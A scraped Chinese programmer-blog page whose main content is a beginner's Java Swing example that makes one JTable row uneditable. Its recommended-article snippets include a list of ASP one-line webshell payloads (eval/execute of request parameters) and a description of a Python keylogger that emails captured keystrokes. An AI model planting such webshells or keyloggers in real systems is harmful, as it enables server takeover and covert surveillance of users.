设置JTable某行不可编辑-程序员宅基地

技术标签: import  string  vector  class  table  object  

 今天在csdn上看到别人问这个问题.就写了个类.

import java.awt.Dimension;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.util.Vector;

import javax.swing.JFrame;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import javax.swing.table.AbstractTableModel;
import javax.swing.table.DefaultTableModel;

public class test {
 JTable table=new JTable();
 DefaultTableModel model;
public test(){
 JFrame frame=new JFrame();
 this.gettable();
 //table.addMouseListener(this);
 JScrollPane src=new JScrollPane(table);
 frame.setSize(new Dimension(400,200));
 src.setBounds(0, 0, 400, 200);
 frame.add(src);
 frame.setVisible(true);
}
public void gettable(){
 Object ss[][]={
   {"12","12"},
   {"13","13"}
 };
 Vector v1=new Vector();
 Vector v2=new Vector();
 for(int i=1;i<3;i++){
  Vector v=new Vector();
  v.addElement(i*10);
  v.addElement((i+1)*10);
  v1.addElement(v);
 }
 v2.addElement("A");
 v2.addElement("B");
 //model=;
 DefaultTableModel model=new DefaultTableModel(v1,v2);
 table.setModel(new DefaultTableModel(v1,v2) {
  public boolean isCellEditable(int row,int col){
   if(row==1) return false;
   return true;
  }
 });
}
public static void main(String args[]){
 new test();
}
}
呵呵有问题大家一起探讨阿。我是新手

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/happyandsad/article/details/2260965

智能推荐

jQuery 获取 input:file 文件路径( Firefox for Ubuntu )_jquery获取input file路径-程序员宅基地

在写一个小项目的时候遇到了一个问题,通过jquery获取选择的文件的路径,最开始选择的是通过.val()获取路径,但是后来发现获取到的路径有问题原始路径是/home/onemue/案例/表情上传--前端/pic.png获取到的路径是C:\fakepath\pic.png,百度了原因还是不知道,但是好在找到了解决办法,通过URL.createObjectURL()获取对象的URL,获取到的是 blob:null/ed7d6cfa-35f8-4e3c-8fb7-82d7dce74b81,可以正常设置给<i_jquery获取input file路径

【肖凯】如何学习好R语言_如何r语言学习-程序员宅基地

学习 R 的方法知识和耐心,是成为强者的唯一方法。 - 通过阅读来学习。 包括了阅读经典的教材、代码、论文、学习公开课。 - 通过牛人来学习。 包括同行的聚会、讨论、大牛的博客、微博、twitter、RSS。 - 通过练习来学习。 包括代码练习题、参加kaggle比赛、解决实际工作中的难题。 - 通过分享来学习。 包括自己写笔记、写博客、写书、翻译书,和同伴分享交流、培训新_如何r语言学习

大数据高频面试题之Hive的内部表和外部表_hive在删除内部表时会同时删除表元数据和数据吗-程序员宅基地

创建表时:创建内部表时,会将数据移动到数据仓库指向的路径;若创建外部表,仅记录数据所在的路径, 不对数据的位置做任何改变。删除表时:在删除表的时候,内部表的元数据和数据会被一起删除, 而外部表只删除元数据,不删除数据。这样外部表相对来说更加安全些,数据组织也更加灵活,方便共享源数据。1.未被external修饰的是内部表【managed table】,被external修饰的为外部表【external table】2.内部表数据由Hive自身管理,外部表数据由HDFS管理。3.内部表数据存储在hiv_hive在删除内部表时会同时删除表元数据和数据吗

恢复目录数据库备份脚本-程序员宅基地

Linux系统,整个备份过程大约持续了5个小时左右,备份出来的容量如下: [oracle@sms backup]$ du -sk1448023700 .备份脚本: run{allocat...

Baeldung Java 周评 | 第三十六弹(关键词:当 Java 8 Streams API 不够用、Java 9 终极特性列表、Java 并发问题、Hibernate 字节码增强、两阶段提交)-程序员宅基地

开篇词尤金的第 36 篇 Java 周评,诞生了! Java 以及 Spring 相关当 Java 8 Streams API 不够用时深入研究 jOOQ 主库和 API 中的一很酷的 Stream 扩展库。Java 9 - 终极特性列表对 Java 9 宣布/接受的功能进行了很好的讨论。拥有 Java REPL 将会很酷。当然,如果你要紧跟有关 Java 9 的新闻和...

JS控制弹出窗口_js 控制弹窗需要调接口吗-程序员宅基地

一、 基本变化 window.open ('page.html', 'newwindow', 'height=100, width=400, top=0, left=0, toolbar=no, menubar=no, scrollbars=no,resizable=no,location=no, status=no')//写成一行 --> 参数解释:windo_js 控制弹窗需要调接口吗

随便推点

图文并茂把Ubuntu22.04安装到u盘,实现即插即用_ubuntu安装到u盘_子非鱼moon的博客-程序员宅基地

1、刚好打算把Ubuntu安装到u盘,随便记录下整个过程。2、前提准备:u盘(我的是16g大小),Vmware虚拟机,Ubuntu镜像文件(可以去官网下载);3、下面记录全过程:1、打开虚拟机,并选择创建新的虚拟机:2、选典型:​ ..._ubuntu安装到u盘

一句话木马-程序员宅基地

各种一句话木马大全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%&l...

python做个脚本_做一个Python脚本每小时做一件事_LEAD立德领导力的博客-程序员宅基地

对于一个项目,我正在研究python键盘记录器。我已经完成了密钥记录模块和电子邮件模块,它将日志文件发回给我,但在合并它们时遇到了困难。我希望键盘记录器每24小时给我发送一封包括日志文件的电子邮件。我怎么能那样做?在我试着用一个简单的时间。睡觉()延迟,但是由于keylogging模块只在我将其作为一个进程终止时停止,所以它永远不会到达延迟,因为它是“无限的”。在以下是我当前的代码:import ..._part.set_payload(attachment.read())

PC CONTROL-程序员宅基地

基本搞定39的蓝牙上网之后想起来宝典里某篇文章中讲到可以用39控制电脑约摸记得还具体讲了怎么控制PPT嘿 别的不说 这个控制PPT可是大有用处想俺们上课的时候 为了翻PPT 不得不一直站在电脑附近 时不时低下头来按一下鼠标/敲一下键盘 实在是让人难受要是能用俺的39放PPT 那俺就可以像没有PPT的时候一样 在教室里头蹿来蹿去

c语言二叉树的建立,递归创建二叉树c语言实现+详细解释-程序员宅基地

该楼层疑似违规已被系统折叠隐藏此楼查看此楼voidCreatBiTree(BiTreeT){chara;scanf("%c",&a);if(a=='@')T=NULL;else{T=(BiTree)malloc(sizeof(BiNode));T->data=a;CreatBiTree(T->lchild);CreatBiTree(T->rchild);}}虽能编...

Java jdk 环境配置好后,输入Java -version路径报错_为啥jdk安装成功了,但是java version提示-程序员宅基地

参考(win10 更换JDK后 查询JDK路径还是原路径怎么办?_m0_37625704的博客-程序员宅基地) 高高兴兴的又下载好了jdk,配好了环境,检验输入Java -version总是报错,环境检查了两三遍都不行,一直报错。 观察后发现报错的路径是我之前安装jdk的路径(之前安装了一次,又删掉了),以此为线索,查阅后发现,安装jdk后,会自动在C盘留下注册表,就算删除jdk也会保留,当第二次安装时,会延用第一次的注册表,就导致了路径报错。解决办法:删除C:\Progr..._为啥jdk安装成功了,但是java version提示

推荐文章

热门文章

相关标签